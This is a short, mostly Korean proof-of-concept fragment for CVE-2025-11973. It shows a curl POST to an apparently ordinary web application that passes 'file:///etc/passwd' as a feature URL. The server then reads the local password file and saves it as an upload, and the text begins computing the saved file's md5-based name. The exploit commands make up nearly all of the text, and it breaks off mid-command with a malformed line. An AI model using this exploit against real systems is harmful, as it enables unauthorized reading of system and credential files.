CVE-2025-11973

트리거: /etc/passwd를 file://로 읽고 업로드로 유출 curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" 유출된 파일 검색 저장된 파일 이름 계산 HASH=$printf 'file:///etc/passwd' | md5sum | awk 'pri...